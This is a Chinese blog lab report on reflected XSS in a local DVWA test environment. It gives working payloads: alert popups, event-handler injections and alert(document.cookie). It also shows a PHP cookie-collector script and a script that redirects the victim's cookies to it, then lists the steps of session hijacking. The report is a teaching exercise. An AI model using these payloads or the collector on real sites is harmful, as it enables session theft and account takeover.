当前位置:网站首页>反射型XSS漏洞
反射型XSS漏洞
2022-07-01 16:49:00 【全栈程序员站长】
大家好,又见面了,我是你们的朋友全栈君。
实验项目 | 反射型XSS实验 |
|---|---|
综合性实验 | 2020年10月 22日 |
一、实验综述
1.实验目的及要求
(1)跨站脚本(XSS) XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。 (2)XSS漏洞分成三类: 一类是反射型XSS漏洞。产生原因:没有对用户提交的内容进行可靠的输入验证。 一类是保存型XSS漏洞。产生原因:未经适当 过滤净化就将保存在后端数据库的 用户提交的数据显示给其他用户。 另一类则是来自基于DOM的XSS漏洞。由于客户端JavaScript可以访问浏览器的文本对象模型(DOM),因此,它能够决定用于加载当前页面的URL,由应用程序发布的一段脚本可以从URL中提取数据,对这些数据进行处理,然后用它更新页面的内容,如果这样,应用程序就易受到基于 DOM的XSS攻击。
2.实验仪器、设备或软件
Vmware Workstation Pro 15.0
PHP study、DVWA
Windows 7操作系统3.实验原理
(1)XSS工作原理: XSS:Cross Site Script,为了和层叠式表(Cascading style sheet,CSS)有所区别,在安全领域叫做“XSS”. XSS攻击,通常指黑客通过“HTML注入”篡改了网页,插入了恶意脚本从而在用户浏览网页时,控制用户浏览器的一种攻击。在一开始,这种攻击的演示安全是跨域的,所以叫做“跨站脚本”。但是发展到今天,由于JavaScript的强大功能以及网站前端应用的复杂化,是否跨域已经不再重要,由于历史原因,XSS一直保留下来。 (2)Web原理:两种 HTTP 请求方法:GET 和 POST 在客户机和服务器之间进行请求-响应时,两种最常被用到的方法是:GET 和 POST。GET – 从指定的资源请求数据。POST – 向指定的资源提交要被处理的数据。
二、实验过程(步骤过程、数据记录)
1.步骤
(1)打开虚拟机,在命令行中输入命令(ipconfig)查看虚拟机的IP地址。
(2)打开软件phpstudy_pro,启动Apache2.4.39和MySQL5.7.26.
(3)在本地浏览器中输入:http://192.168.45.128/DVWA-master/setup.php进入DVWA页面。
(4)将DVWA Security设为Low
(5)点击左侧XSS(reflected)
(6)在DVWA地址框中输入:http://192.168.45.128/DVWA-master/vulnerabilities/xss_r/?name=#
显示结果,跳转到如下页面:
出现弹窗,说明存在xss。 从虚拟机外的主机访问192.168.45.128
(7)从虚拟机外的主机访问192.168.45.128 地址栏输入:http://192.168.45.168/DVWA-master/vulnerabilities/xss_r/?name=zhangsan
返回页面显示如下:
点击右下方的“View Source”显示页面如下:
根据回显信息判断出,显示的文本内容是 Hello name 。 我 们 输 入 的 信 息 被 存 放 在 name。我们输入的信息被存放在name 变量中。
(8)添加一条 JavaScript 代码获取 cookie,在上述文本框中输入,点击“submit”,弹出如下对话框:
可以看到我们提交的文本信息被浏览器执行了,显示出了我们的 cookie 信息。说明此网站有 XSS 漏洞!
(9)在文本框中输入<body οnlοad=alert(‘xss2’)>
(10)文本框输入:<a href=’’ οnclick=alert(‘xss3’)>click1
显示结果如下:
点击“click1”,显示结果如下:
(11)在虚拟机192.168.45.128的WWW/DVWA-master目录下,新建cookie1.php,具体内容如下:
<?php
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它
fwrite($fp,"my cookie is:".$cookie."\n"); //写入文件
fclose($fp); //关闭文件
?>在客户端的文本框中输入以下内容,点击submit
<script>document.location='http://192.168.45.128/DVWA-master/cookie1.php?cookie='+document.cookie;</script>在DVWA-master文件夹中生成cookie.text, 打开cookie.txt,可看到客户端的cookie值保存在该文本文件中
2.数据记录
(1)输入:
http://162.168.45.128/DVWA-master/vulnerabilities/xss_r/?name=<script>alert("1")</script>#
输出:
1
(2)输入:
http://192.168.45.128 /DVWA-master/vulnerabilities/xss_r/?name=zhangsan</script>
输出:
Hello zhangsan
(3)输入:
<script> alert(document.cookie) </script>
输出:
security=low;PHPSESSID=6feglj7cp01c7mk04dndleb6r2
(4)输入:
<body onload=alert('xss2')>
输出:
xss2
(5)输入:
<a href='' onclick=alert('xss3')>click1</a>
输出:
Hello click1
(5)输入:
<script>document.location='http://192.168.45.128/DVWA-master/cookie1.php?cookie='+document.cookie;</script>
输出:
创建cookie.txt文件三、结果讨论与分析
1.实验结果
最终获取到用户的cookie信息: my cookie is :security=low:PHPSESSID=6avva45en6mubmd3augjkcpjga
2.分析讨论
本次实验在DVWA虚拟环境中进行,学习到了xss注入的基本原理以及基本步骤,如何利用xss漏洞进行攻击,如何获取用户的cookie信息。
3.总结
反射型XSS漏洞产生原因及步骤: 原因:没有对用户输入的内容进行有效验证 步骤: (1)用户正常登录,得到包含会话令牌的cookie (2)攻击者将准备好的URL提交给用户 (3)用户访问攻击者 提供的URL (4)服务器对攻击者的JavaScript做出响应 (5)攻击者的JavaScript在用户浏览器中执行 (6)用户浏览器向攻击者发送会话令牌 (7)攻击者劫持用户会话,得到cookie,访问用户个人信息并以该用户权限执行任意操作。
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/130940.html原文链接:https://javaforall.cn
边栏推荐
猜你喜欢

String的trim()和substring()详解

Mysql database - Advanced SQL statement (2)

Activity的生命周期和启动模式详解

想做软件测试的女孩子看这里

官宣!香港科技大学(广州)获批!

SQL question brushing 1050 Actors and directors who have worked together at least three times

智能运维实战:银行业务流程及单笔交易追踪

ShenYu 网关开发:在本地启用运行

In aks, use secret in CSI driver mount key vault

PR basic clip operation / video export operation
随机推荐
Are you still using charged document management tools? I have a better choice! Completely free
Leetcode 216 combined summation III -- backtracking method
Installation and use of sqoop
Is the securities account given by the head teacher of goucai school safe? Can I open an account?
How to restore the system with one click on Lenovo laptop
Dataframe gets the number of words in the string
MySQL learning summary
Transition technology from IPv4 to IPv6
The difference between the lazy mode of singleton mode and the evil mode
剑指 Offer 20. 表示数值的字符串
Pytest learning notes (13) -allure of allure Description () and @allure title()
Redis6.0 new features
美国国家安全局(NSA)“酸狐狸”漏洞攻击武器平台技术分析报告
【C补充】【字符串】按日期排序显示一个月的日程
Redis6.0 新功能
Template engine velocity Foundation
【Kotlin】高阶函数介绍
C语言输入/输出流和文件操作
P2592 [zjoi2008] birthday party (DP)
Redis 分布式锁